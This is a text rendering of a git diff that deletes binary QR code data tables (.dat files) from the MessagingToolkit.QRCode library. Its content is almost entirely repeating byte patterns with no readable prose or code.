effgghhi87766554=>>??@@A`__^^]]\yzz{{||}a``__^^],,++**))YYZZ[[\\00//..--nnooppqq `aabbccd=<<;;::9899::;;>=45566778ihhggffeonnmmllk##$$%%&&ppoonnmmyyzz{{||$$##""!!QQRRSSTTLLKKJJII))**++,,ttssrrqquuvvwwxx((''&&%%MMNNOOPPAA@@??>>UUVVWWXX76543211EFFGGHHIXWWVVUUT !~~}}| - - ijjkkllm43322110ABBCCDDE\[[ZZYYX }~~]\\[[ZZY((''&&%%]]^^__``,,++**))rrssttuudeeffggh98877665<==>>??@a``__^^]`aabbccd=<<;;::9899::;;>??@a``__^^] !baa``__^++,,--..hhggffee YYZZ[[\\DDCCBBAA11223344llkkjjii - - }}~~ UUVVWWXX99887711]]^^__``,,++**))MNNOOPPQPOONNMML%&&''(()xwwvvuutqrrssttu,++**))(IJJKKLLMTSSRRQQP!""##$$%|{{zzyyx~UTTSSRRQ eeffgghh$$##""!!zz{{||}}lmmnnoop100//..-DEEFFGGHYXXWWVVU ~~} - - hiijjkkl54433221@AABBCCD]\\[[ZZY!""##$$%^]]\\[[Z//001123ddccbbaa]]^^__``@@??>>==55667788hhggffee YYZZ[[\\00//..--aabbccdd((''&&%%QRRSSTTULKKJJIIH)**++,,-tssrrqqpuvvwwxxy(''&&%%$MNNOOPPQPOONNMML%&&''(()xwwvvuut~}}||{{zQKKJJIIHiijjkkll ~~ -pqqrrsst-,,++**)HIIJJKKLUTTSSRRQ !!""##$}||{{zzy lmmnnoop100//..-DEEFFGGHYXXWWVVU%&&''(()ZYYXXWWV45677889``__^^]]aabbccdd<<;;::9999::;;<>??@@``__^^]]aabbccdd((''&&%%nnooppqq YZZ[[\\]DCCBBAA@12233445lkkjjiih - - }~~ UVVWWXXYHGGFFEED-..//001poonnmml - - vuuttssrDCCBBAA@@??>>==>==<<66778899ggffeeddZZ[[\\]]CCBBAA@@22334455kkjjiihh - - ~~~~}}||{vwwxxyyz'&&%%$$#NOOPPQQRONNMMLLK&''(())*wvvuuttsrssttuuv qppoonnm+**))((']]^^__``;;::9988::;;<<==ccbbaa``^^__``aa??>>==<<66778899ggffeedd - -{zzyyxxw -z{{||}}~#""!! RSSTTUUVKJJIIHHG*++,,--.srrqqppovwwxxyyz - - -mllkkjji'&&%%$$#aabbccdd77665544>>??@@AA__^^]]\\bbccddee;;::9988::;;<<==ccbbaa`` wvvuutts - ~VWWXXYYZGFFEEDDC.//00112onnmmllk -z{{||}}~ - ihhggffe #""!! eefghijk33221100BBCCDDEE[[ZZYYXX ffgghhii77665544>>??@@AA__^^]]\\srrqqppoZ[[\\]]^CBBAA@@?23344556kjjiihhg - ~eddccbba !!""##$kllmmnno//..--,,FFGGHHIIWWVVUUTT !!~~}}|| - - jjkkllmm33221100BBCCDDEE[[ZZYYXX~~}}||{{onnmmllk^__``aab?>>==<<;6778899:gffeeddca``__^^]$%%&&''(oppqqrrs++**))((JJKKLLMMSSRRQQPP""##$$%%{{zzyyxxnnooppqq//..--,,FFGGHHIIWWVVUUTT !!zzyyxxwwkjihgfeebccddeef;::99887:;;<<==>cbbaa``_]\\[[ZZY())**++,sttuuvvw''&&%%$$NNOOPPQQOONNMMLL&&''(())wwvvuuttrrssttuu++**))((JJKKLLMMSSRRQQPP""##$$%%vvuuttss !!""##ddccbbaa fgghhiij76655443>??@@AAB_^^]]\\[~~}}||{ !!""#YXXWWVVU,--..//0 -wxxyyzz{##""!! RRSSTTUUKKJJIIHH**++,,--ssrrqqppvvwwxxyy''&&%%$$NNOOPPQQOONNMMLL&&''(())rrqqppoo$$%%&&''``__^^]] !!"~~}}||{ - - jkkllmmn3221100/BCCDDEEF[ZZYYXXW{zzyyxxw#$$%%&&'UTTSSRRQ01122334 - {||}}~~VVWWXXYYGGFFEEDD..//0011oonnmmll zz{{||}}##""!! RRSSTTUUKKJJIIHH**++,,--nnmmllkk(())**++\\[[ZZYY"##$$%%&{zzyyxxwnooppqqr/..--,,+FGGHHIIJWVVUUTTS !!"wvvuutts'(())**+QPPOONNM45566778ZZ[[\\]]CCBBAA@@22334455kkjjiihh - - ~~VVWWXXYYGGFFEEDD..//0011eeddccbb,,--..//XXWWVVUU&''(())*wvvuuttsrssttuuv+**))(('JKKLLMMNSRRQQPPO"##$$%%&srrqqppo+,,--../MLLKKJJI899::;;< ^^__``aa??>>==<<66778899ggffeeddZZ[[\\]]CCBBAA@@22334455aa``__^^00117788TTSSRRQQ*++,,--.srrqqppovwwxxyyz'&&%%$$#NOOPPQQRONNMMLLK&''(())*onnmmllk/0011778IHHGGFFE<==>>??@ - - bbccddee;;::9988::;;<<==ccbbaa``^^__``aa??>>==<<66778899]]\\[[ZZ99::;;<>??@@AA__^^]]\\bbccddee;;::9988::;;<<==YYXXWWVV==>>??@@JIIHHGGF23344556kjjiihhg - ~VWWXXYYZGFFEEDDC.//00112baa``__^<==>>??@A@@??>>=DEEFFGGH~~}}|| - - jjkkllmm33221100BBCCDDEE[[ZZYYXX ffgghhii77665544>>??@@AAUUTTSSRRAABBCCDDFEEDDCCB6778899:gffeeddcZ[[\\]]^CBBAA@@?23344556^]]\\[[Z@AABBCCD=<<;;::9HIIJJKKL{{zzyyxxnnooppqq//..--,,FFGGHHIIWWVVUUTT !!~~}}|| - - jjkkllmm33221100BBCCDDEEQQKKJJIIEEFFGGHHBAA@@??>:;;<<==>cbbaa``_^__``aab?>>==<<;6778899:ZYYXXWWVDEEFFGGH98877665LMMNNOOPwwvvuuttrrssttuu++**))((JJKKLLMMSSRRQQPP""##$$%%{{zzyyxxnnooppqq//..--,,FFGGHHIIHHGGFFEEIIJJKKQQ>==<<;;:>??@@AAB_^^]]\\[bccddeef;::99887:;;<<==>VUUTTSSRHIIJJKKQ54433221PQQRRSST !!""##ssrrqqppvvwwxxyy''&&%%$$NNOOPPQQOONNMMLL&&''(())wwvvuuttrrssttuu++**))((JJKKLLMMDDCCBBAARRSSTTUU:9988776BCCDDEEF[ZZYYXXW fgghhiij76655443>??@@AABRQQKKJJIQRRSSTTU100//..-TUUVVWWX$$%%&&''oonnmmll zz{{||}}##""!! RRSSTTUUKKJJIIHH**++,,--ssrrqqppvvwwxxyy''&&%%$$NNOOPPQQ@@??>>==VVWWXXYY54321100FGGHHIIJWVVUUTTS !!"~~}}||{ - - jkkllmmn3221100/BCCDDEEFIHHGGFFEUVVWWXXY-,,++**)XYYZZ[[\(())**++kkjjiihh - - ~~VVWWXXYYGGFFEEDD..//0011oonnmmll zz{{||}}##""!! RRSSTTUU<<;;::99ZZ[[\\]]//..--,,JKKLLMMNSRRQQPPO"##$$%%&{zzyyxxwnooppqqr/..--,,+FGGHHIIJEDDCCBBAYZZ[[\\])((''&&%\]]^^__`,,--..//ggffeeddZZ[[\\]]CCBBAA@@22334455kkjjiihh - - ~~VVWWXXYY88771100^^__``aa++**))((NOOPPQQRONNMMLLK&''(())*wvvuuttsrssttuuv+**))(('JKKLLMMNA@@??>>=]^^__``a%$$##""!`aabbccd00112345ccbbaa``^^__``aa??>>==<<66778899ggffeeddZZ[[\\]]//..--,,bbccddee''&&%%$$RSSTTUUVKJJIIHHG*++,,--.srrqqppovwwxxyyz'&&%%$$#NOOPPQQR=<<;;::9abbccdde! deeffggh6778899:__^^]]\\bbccddee;;::9988::;;<<==ccbbaa``^^__``aa++**))((kkllmmnn##""!! VWWXXYYZGFFEEDDC.//00112onnmmllk -z{{||}}~#""!! RSSTTUUV98877110ekkllmmnhiijjkkl:;;<<==>[[ZZYYXX ffgghhii77665544>>??@@AA__^^]]\\bbccddee''&&%%$$ooppqqrrZ[[\\]]^CBBAA@@?23344556kjjiihhg - ~VWWXXYYZ0//..--,nooppqqrlmmnnoop>??@@AABWWVVUUTT !!~~}}|| - - jjkkllmm33221100BBCCDDEE[[ZZYYXX ffgghhii##""!! ssttuuvv^__``aab?>>==<<;6778899:gffeeddcZ[[\\]]^,++**))(rssttuuvpqqrrsstBCCDDEEFSSRRQQPP""##$$%%{{zzyyxxnnooppqq//..--,,FFGGHHIIWWVVUUTT !!~~}}|| - - jjkkllmmwwxxyyzzbccddeef;::99887:;;<<==>cbbaa``_^__``aab(''&&%%$vwwxxyyz tuuvvwwxFGGHHIIJOONNMMLL&&''(())wwvvuuttrrssttuu++**))((JJKKLLMMSSRRQQPP""##$$%%{{zzyyxxnnooppqq{{||}}~~ fgghhiij76655443>??@@AAB_^^]]\\[bccddeef$##""!! z{{||}}} - - xyyzz{{||}}fpvf~HbHAZdrtAJJXQrJAdbtlnXv`Zp˂AJltfH~ˑZHAbrbtl|ZdQfpvbHAdrtvXnp`JXlJtfpvbHAZdrtAbdQZ|`vXnے`JXQtArdf~HXQJ`ےbdQZ|JltH~fr˂prd|fvnX˂rXJlt~f`ZHAbۉlJtZdQbtfpvbHAZpdrtAvpfHr˂plJtnXv`fpvp˂rltbZHAbۂ|ZdQJtArdf~HrXQJ`ۉbdQZ|f`vXے`JXJtAdbtlnXv`Zp˂AJltf`Qr˂pArd|nXv`p˂rJltdtAJvpfr˂p|ZdQbfpvbHAZdrtAbdQZ|`vXnZHAbZdQbtv`fQJ`ےbdQZ|vXn`JXQArd|lJnXv`ˑ˂rXJlt~f`ZHAbArd|f~HnXv`XQJ`ےdQZ|``JXQbtl|ZdQfpvbHAdrtnvpQr˂p|ZdQJtArdf~HrXQJ`ۉbdQZ|vXnۑZHAbZdQbtf~HXQJ`ےbdQZ|ltbH~fZHAbtlJnXv`p˂rJltdtAJvpf˂pZlJ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bHAZpdrtAJvpfH˂pZ`JXQrrd|Xv`fHAZp˂bdQZ|vXnہJXQrrd|~HfpJ`ےむrXQtbd~f`ZHAb󙐂ˁ`ZpfH~tbAdZbHAZpdQZ|vXn`JXQrHAے`lJtAXv`f˂rXQltb~f`HAbے˂pZZdQbt~HXrXQJdrtvpfH˂pZHZdQbtvnXbHAZpJ`ےJlQZ|dvXnے`JXQQXb㉀f۝`v|drrXQdrtAJvpfH˂pZJXQrbrd|~HfJ`ےdQZ|vXn`JXQrHAے`lJtAv`f`ےbAJlt~f`Abے`lJtAv`frXQtbdrtAJlvpfHr˂pۑpJAHXnvˍQtJltKKKKKKKKKKKKKKKKKKKLLLLLLLLLL \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_1.dat deleted file mode 100644 index e50183c..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_1.dat +++ /dev/null @@ -1,273 +0,0 @@ -}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmlklklklklklklklklklklklijijijijijijijihghghghghefefefefeefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKLKKKKKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343421212121121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijghghghghghghghghefefefeffefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMLKLKKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343421211111121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijghghghghghghghghefefefeefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKKKKKKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343412121212121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststsrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijghghghghghghghgheeeefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343412121212121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklkjijijijijijijijghghghghghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMNMKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343412121212111111210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghfefefefefefeeeeedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKKKKKKLKIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:787878787878787856565656565656563434343434321212121212122121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghfefefefeefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:787878787878787856565656565656563434343412111112121212120/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqpopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghfefefefeefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:98787878787878787856565656565656563434343412121212121111110/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!         }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghfefefeeeefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKKKKKKLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878787878787856565656565654343434343412121212212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            }}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghgheeefefefefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878787878787856565656343434343434343412121212212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            }}}}}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878787878787856565656343434343434343412121111212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            }~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghefefefefefeeeeeedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKKKKKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878787878787656565656343434343434343411212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!           }~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghgfefefefefeffefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghefefeeeeefefefefdcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343421212